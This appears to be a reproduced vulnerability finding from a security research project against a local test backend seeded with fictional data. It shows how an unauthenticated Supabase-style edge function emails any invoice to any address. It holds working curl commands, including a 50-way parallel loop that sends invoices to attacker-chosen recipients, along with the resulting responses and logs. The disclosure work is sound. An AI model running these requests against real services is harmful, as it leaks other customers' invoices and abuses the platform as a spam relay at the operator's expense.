Failure mode: FM13, FM17 (research/FAILURE_MODES.md) · Severity: medium · Reproduced: yes
Impact: Anyone can make the platform send unlimited emails, with real invoice details, to any address, on the agency's bill and sender reputation.
Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm13-email-function-abuse.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:26.704Z.
Setup
sh
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)Steps
1. One call: another agency's invoice, sent to an address of the caller's choosing, with no login
sh
curl -s -X POST "$URL/functions/v1/send-invoice-email" \
-H "apikey: $ANON" \
-H "Content-Type: application/json" \
-d '{"invoice_id":"cf7e5b03-cb30-4437-a00d-7485614db999","to":"anyone@victim.example"}'Response: HTTP 200
json
{
"success": true,
"message": "Invoice sent to anyone@victim.example"
}2. The same request 50 times in parallel (recipients target1..target50@victim.example)
sh
for i in $(seq 1 50); do
curl -s -o /dev/null -w "%{http_code}\n" -X POST "$URL/functions/v1/send-invoice-email" \
-H "apikey: $ANON" -H "Content-Type: application/json" \
-d "{\"invoice_id\":\"cf7e5b03-cb30-4437-a00d-7485614db999\",\"to\":\"target$i@victim.example\"}" &
done; waitResponse: HTTP 200
json
{
"status_counts": {
"200": 50
},
"wall_ms": 262,
"any_429": false
}3. Function log, 50 lines (first 4 and last 1)
text
sent email to target1@victim.example: Invoice TWS-1002 for $3235 (3 items)
sent email to target2@victim.example: Invoice TWS-1002 for $3235 (3 items)
sent email to target3@victim.example: Invoice TWS-1002 for $3235 (3 items)
sent email to target4@victim.example: Invoice TWS-1002 for $3235 (3 items)
...
sent email to target50@victim.example: Invoice TWS-1002 for $3235 (3 items)What this shows
- 50/50 returned 200 in 262 ms; zero 429s. The function logged 50 "sent email" lines.
- The function never looks at the Authorization header, never checks that the invoice belongs to the caller, and uses the service role key to read any invoice [FM13].
- The recipient is taken from the request body, so this is an open relay for invoice-branded spam, billed per message to the agency's email provider [FM17].